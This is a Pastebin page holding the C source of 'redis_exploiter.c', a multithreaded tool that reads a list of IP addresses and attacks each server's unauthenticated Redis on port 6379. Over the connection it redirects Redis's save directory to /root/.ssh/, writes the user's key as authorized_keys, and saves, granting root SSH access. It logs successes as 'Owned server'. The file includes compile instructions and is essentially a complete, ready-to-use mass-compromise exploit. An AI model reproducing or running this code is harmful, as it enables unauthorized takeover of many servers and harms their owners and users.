linux

redis_exploiter.c

Jul 16th, 2018
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 10.23 KB | None | 0 0
  1. /*
  2.     gcc -o exploit *.c -pthread -w
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <stdbool.h>
  7. #include <string.h>
  8. #include <unistd.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <sys/ioctl.h>
  12. #include <netinet/in.h>
  13. #include <poll.h>
  14. #include <netdb.h>
  15. #include <pthread.h>
  16. #include <fcntl.h>
  17. #include <errno.h>
  18. #include <netinet/tcp.h>
  19. #include "thpool.h"
  20.  
  21. #define BUFSIZE 1024
  22.  
  23. char* ip_file;
  24. char* ip_out_file;
  25. char* private_key_location;
  26. int nb_threads;
  27. int timeout;
  28. int target_port = 6379; //redis port
  29. char *file_contents;
  30. char *privateKey;
  31. char payload[5000] = {0};
  32. size_t num;
  33. char **lines;
  34. int current_line;
  35.  
  36. void FileReader() {
  37.     long input_file_size;
  38.     FILE *input_file = fopen(ip_file, "rb");
  39.     fseek(input_file, 0, SEEK_END);
  40.     input_file_size = ftell(input_file);
  41.     rewind(input_file);
  42.     file_contents = malloc(input_file_size * (sizeof(char)));
  43.     fread(file_contents, sizeof(char), input_file_size, input_file);
  44.     fclose(input_file);
  45.  
  46.     FILE *f;
  47.     privateKey  = (char*)malloc(sizeof(char) * 1000);
  48.     FILE *infile;
  49.     infile = fopen(private_key_location, "rb");
  50.     char line_buffer[1024];
  51.     while (fgets(line_buffer, sizeof(line_buffer), infile)) {
  52.         privateKey = line_buffer;
  53.     }
  54.     privateKey[strlen(privateKey) - 1] = '\0';
  55.     sprintf(payload, "set qwe \"\\n\\n%s\\n\\n\\n\"\n", privateKey);
  56.     printf("\npayload: %s\n", payload);
  57.     fclose(infile);
  58. }
  59.  
  60.  
  61. void writeLine(char *fileName, char *content) {
  62.     FILE *fp;
  63.     int i;
  64.  
  65.     fp = fopen(fileName, "a");
  66.     if (fp == NULL) {
  67.         printf("There was an error when writing to the file!\n");
  68.         return;
  69.     }
  70.  
  71.     fprintf(fp, "%s\n", content);
  72.  
  73.     fclose(fp);
  74.     return;
  75. }
  76.  
  77.  
  78. bool connect_w_to(char *hostname) {
  79.     int res, valopt;
  80.     struct sockaddr_in addr;
  81.     long arg;
  82.     fd_set myset;
  83.     struct timeval tv;
  84.     socklen_t lon;
  85.     char buf[4048];
  86.  
  87.     int soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  88.     if (soc < 0)
  89.     {
  90.         printf("Error creating socks.\n");
  91.         return false;
  92.     }
  93.     if ((arg = fcntl(soc, F_GETFL, NULL)) < 0)
  94.     {
  95.         fprintf(stderr, "Error fcntl(.., F_GETFL): %s\n", strerror(errno));
  96.         return false;
  97.     }
  98.     arg |= O_NONBLOCK;
  99.     if (fcntl(soc, F_SETFL, arg))
  100.     {
  101.         fprintf(stderr, "Error fcntl(.., F_SETFL): %s\n", strerror(errno));
  102.         return false;
  103.     }
  104.     int val = 1;
  105.     if (setsockopt(soc, IPPROTO_TCP, TCP_NODELAY, &val, sizeof(val)) < 0)
  106.     {
  107.         return false;
  108.     }
  109.  
  110.     addr.sin_family = AF_INET;
  111.     addr.sin_port = htons(target_port);
  112.     addr.sin_addr.s_addr = inet_addr(hostname);
  113.  
  114.     res = connect(soc, (struct sockaddr *)&addr, sizeof(addr));
  115.  
  116.     if (res < 0) {
  117.         if (errno == EINPROGRESS) {
  118.             FD_ZERO(&myset);
  119.             FD_SET(soc, &myset);
  120.             tv.tv_sec = timeout;
  121.             tv.tv_usec = 0;
  122.             if (select(soc+1, NULL, &myset, NULL, &tv) > 0) {
  123.                 lon = sizeof(int);
  124.                 getsockopt(soc, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  125.                 if (valopt) {
  126.                     fprintf(stderr, "Error in connection() %d - %s\n", valopt, strerror(valopt));
  127.                     close(soc);
  128.                     return false;
  129.                 }
  130.                 arg = fcntl(soc, F_GETFL, NULL);
  131.                 arg &= (~O_NONBLOCK);
  132.                 fcntl(soc, F_SETFL, arg);
  133.                 if (send(soc, "config set dir /root/.ssh/\n", 27, MSG_DONTWAIT) < 0) {
  134.                     printf("Error sending config set...");
  135.                     close(soc);
  136.                     return false;
  137.                 }
  138.                 else {
  139.                     int reader = -1;
  140.                     bzero(buf, BUFSIZE);
  141.                     FD_ZERO(&myset);
  142.                     FD_SET(soc,&myset);
  143.                     tv.tv_sec = timeout;
  144.                     tv.tv_usec = 0;
  145.                     if (select(soc+1, &myset, NULL, NULL, &tv) < 0) {
  146.                         printf("select error");
  147.                         reader = -1;
  148.                     }
  149.                     if (FD_ISSET(soc, &myset)) {
  150.                         reader = read(soc, buf, BUFSIZE);
  151.                     }
  152.                     else {
  153.                         printf("timeout\n");
  154.                         reader = -1;
  155.                     }
  156.                     printf("DATA: %s\n", buf);
  157.                     if(reader < 0) {
  158.                         printf("Error reading response of config set...\n");
  159.                         close(soc);
  160.                         return false;
  161.                     }
  162.                     else {
  163.                         if((strstr(buf, "OK") != NULL)) {
  164.                             write(soc, payload, strlen(payload));
  165.                             printf("payload %s\n", payload);
  166.  
  167.                             bzero(buf, BUFSIZE);
  168.                             FD_ZERO(&myset);
  169.                             FD_SET(soc,&myset);
  170.                             tv.tv_sec = timeout;
  171.                             tv.tv_usec = 0;
  172.                             if (select(soc+1, &myset, NULL, NULL, &tv) < 0) {
  173.                                 printf("select error");
  174.                                 reader = -1;
  175.                                 close(soc);
  176.                                 return false;
  177.                             }
  178.                             if (FD_ISSET(soc, &myset)) {
  179.                                 read(soc, buf, BUFSIZE);
  180.                                 //printf("is it stopping0: %s\n", buf);
  181.                             }
  182.                             else {
  183.                                 printf("timeout\n");
  184.                                 reader = -1;
  185.                                 close(soc);
  186.                                 return false;
  187.                             }
  188.                             //printf("is it stopping2: %s\n", buf);
  189.                             if((strstr(buf, "OK") != NULL)) {
  190.                                 write(soc, "config set dbfilename \"authorized_keys\"\n", 40);
  191.                                 //read(soc, buf, BUFSIZE);
  192.                                 bzero(buf, BUFSIZE);
  193.                                 FD_ZERO(&myset);
  194.                                 FD_SET(soc,&myset);
  195.                                 tv.tv_sec = timeout;
  196.                                 tv.tv_usec = 0;
  197.                                 if (select(soc+1, &myset, NULL, NULL, &tv) < 0) {
  198.                                     printf("select error");
  199.                                     reader = -1;
  200.                                     close(soc);
  201.                                     return false;
  202.                                 }
  203.                                 if (FD_ISSET(soc, &myset)) {
  204.                                     read(soc, buf, BUFSIZE);
  205.                                     //printf("is it stopping0: %s\n", buf);
  206.                                 }
  207.                                 else {
  208.                                     printf("timeout\n");
  209.                                     reader = -1;
  210.                                     close(soc);
  211.                                     return false;
  212.                                 }
  213.                                 if((strstr(buf, "OK") != NULL)) {
  214.                                     write(soc, "save\n", 6);
  215.                                     writeLine(ip_out_file, hostname);
  216.                                     close(soc);
  217.                                     return true;
  218.                                 }
  219.                             }
  220.                         }
  221.                         else
  222.                         {
  223.                             close(soc);
  224.                             return false;
  225.                         }
  226.                     }
  227.                 }
  228.             }
  229.             else {
  230.                 fprintf(stderr, "Timeout or error() %d - %s\n", valopt, strerror(valopt));
  231.                 close(soc);
  232.                 return false;
  233.             }
  234.         }
  235.         else {
  236.             close(soc);
  237.             fprintf(stderr, "Error connecting %d - %s\n", errno, strerror(errno));
  238.             return false;
  239.         }
  240.     }
  241.  
  242.     close(soc);
  243.     return false;
  244. }
  245.  
  246.  
  247. char **strsplit(const char* str, const char* delim, size_t* numtokens) {
  248.     char *s = strdup(str);
  249.     size_t tokens_alloc = 1;
  250.     size_t tokens_used = 0;
  251.     char **tokens = calloc(tokens_alloc, sizeof(char*));
  252.     char *token, *rest = s;
  253.     while ((token = strsep(&rest, delim)) != NULL) {
  254.         if (tokens_used == tokens_alloc) {
  255.             tokens_alloc *= 2;
  256.             tokens = realloc(tokens, tokens_alloc * sizeof(char*));
  257.         }
  258.         tokens[tokens_used++] = strdup(token);
  259.     }
  260.     if (tokens_used == 0) {
  261.         free(tokens);
  262.         tokens = NULL;
  263.     } else {
  264.         tokens = realloc(tokens, tokens_used * sizeof(char*));
  265.     }
  266.     *numtokens = tokens_used;
  267.     free(s);
  268.     return tokens;
  269. }
  270.  
  271.  
  272. void WorkingPayload(char *content) {
  273.     if (connect_w_to(content))
  274.     {
  275.         printf("\x1b[32m[+] Owned server IP --> %s\x1b[0m\n", content);
  276.     } else {
  277.         printf("\x1b[32m[-] Failed to own server IP --> %s\x1b[0m\n", content);
  278.     }
  279. }
  280.  
  281.  
  282. int *worker(void *line) {
  283.     WorkingPayload(((char*)line));
  284.     return 1;
  285. }
  286.  
  287.  
  288. void copy_string(char *target, char *source) {
  289.     while (*source) {
  290.         *target = *source;
  291.         source++;
  292.         target++;
  293.     }
  294.     *target = '\0';
  295. }
  296.  
  297. int main(int argc, char **argv) {
  298.     if (argc < 6) {
  299.         printf("Usage: %s in_ip out_ip rsa_loc nb_threads timeout\ncat /proc/sys/kernel/threads-max\ncat /proc/sys/fs/file-max\n",argv[0]);
  300.         exit(1);
  301.     }
  302.     else {
  303.         ip_file = argv[1];
  304.         ip_out_file = argv[2];
  305.         private_key_location = argv[3];
  306.         nb_threads = atoi(argv[4]);
  307.         timeout = atoi(argv[5]);
  308.     }
  309.     FileReader();
  310.     lines = strsplit(file_contents, "\n", &num);
  311.  
  312.     //connect_w_to("45.32.232.197");
  313.     //exit(0);
  314.     threadpool thpool = thpool_init(nb_threads);
  315.  
  316.     for (int i = 0; i < num - 1; i++) {
  317.         int len = strlen(lines[i]);
  318.         //lines[i][len - 1] = '\0';
  319.         thpool_add_work(thpool, worker, lines[i]);
  320.     }
  321.     thpool_wait(thpool);
  322.     thpool_destroy(thpool);
  323.     return 0;
  324. }
Add Comment
Please, Sign In to add comment